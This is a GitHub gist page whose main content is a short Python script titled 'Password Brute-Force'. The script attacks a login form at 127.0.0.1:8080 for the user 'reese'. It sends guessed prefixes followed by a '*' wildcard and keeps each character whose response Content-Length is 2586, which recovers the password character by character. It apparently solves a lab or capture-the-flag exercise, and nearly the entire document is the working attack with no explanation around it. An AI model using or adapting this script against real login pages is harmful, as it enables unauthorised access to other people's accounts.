Skip to content

Instantly share code, notes, and snippets.

@geoffchisnall
Last active December 12, 2021 15:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save geoffchisnall/8198fc9a1e1b360c7ea9173f4b65a3ea to your computer and use it in GitHub Desktop.
Save geoffchisnall/8198fc9a1e1b360c7ea9173f4b65a3ea to your computer and use it in GitHub Desktop.
Password Brute-Force
#!/usr/bin/python3
#Little bruteforce that checks the Content-Length for difference.
import requests
char_list = ["!","{","}","_","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","@","#","$","%","^","&",",",'(',')',"-",':',';','.']
password = ''
TARGET_URL = 'http://127.0.0.1:8080'
c = 0
n = len(char_list)
while c < n:
for p in char_list:
# print("Trying Character", p)
p = p.strip()
with requests.Session() as s:
payload = {'username':'reese','password':password + p +'*'}
r = s.post(TARGET_URL+'/login', data=payload)
h = (password + p, r.headers['Content-Length'])
if "2586" in h:
password += p
c = 0
print(password)
else:
c += 1
if c > n:
print("The password is:", password)
exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment